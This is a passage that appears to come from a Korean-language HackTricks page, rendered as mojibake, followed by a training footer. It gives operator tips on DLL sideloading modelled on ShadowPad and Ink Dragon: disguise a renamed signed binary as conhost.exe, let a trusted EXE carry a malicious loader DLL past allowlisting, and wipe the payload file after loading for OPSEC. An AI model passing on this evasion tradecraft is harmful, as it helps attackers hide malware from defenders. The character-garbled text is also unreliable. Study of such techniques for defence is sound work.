  • ์„œ๋ช…๋œ EXE์˜ ์ด๋ฆ„์„ ๋ฐ”๊พธ๋˜ PE ํ—ค๋”์˜ OriginalFileName์€ ์œ ์ง€ํ•˜๋ฉด, ๋ฒค๋” ์„œ๋ช…์„ ์œ ์ง€ํ•˜๋ฉด์„œ Windows ๋ฐ”์ด๋„ˆ๋ฆฌ์ฒ˜๋Ÿผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Ink Dragon์ด ์‹ค์ œ๋กœ๋Š” AMD/NVIDIA ์œ ํ‹ธ๋ฆฌํ‹ฐ์ธ conhost.exe์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋“œ๋กญํ•œ ์Šต๊ด€์„ ๋ชจ๋ฐฉํ•˜์„ธ์š”.
  • ์‹คํ–‰ํŒŒ์ผ์ด ์‹ ๋ขฐ๋œ ์ƒํƒœ๋กœ ๋‚จ์•„ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ๋Œ€๋ถ€๋ถ„์˜ allowlisting ์ œ์–ด๋Š” ์•…์„ฑ DLL์ด ๋‹จ์ง€ ๊ทธ ์˜†์— ์กด์žฌํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค. ๋กœ๋” DLL ์ปค์Šคํ„ฐ๋งˆ์ด์ง•์— ์ง‘์ค‘ํ•˜์„ธ์š”; ์„œ๋ช…๋œ ๋ถ€๋ชจ(EXE)๋Š” ๋ณดํ†ต ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ShadowPad์˜ decryptor๋Š” TMP ๋ธ”๋ž์ด ๋กœ๋” ์˜†์— ์œ„์น˜ํ•˜๊ณ  ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ์ด๊ธธ ๊ธฐ๋Œ€ํ•˜๋ฉฐ, ๋งคํ•‘ ํ›„ ํŒŒ์ผ์„ 0์œผ๋กœ ๋ฎ์–ด์จ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋กœ๋“œ๋  ๋•Œ๊นŒ์ง€ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜์„ธ์š”; ๋ฉ”๋ชจ๋ฆฌ์— ์ ์žฌ๋œ ์ดํ›„์—๋Š” TMP ํŒŒ์ผ์„ OPSEC์„ ์œ„ํ•ด ์•ˆ์ „ํ•˜๊ฒŒ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ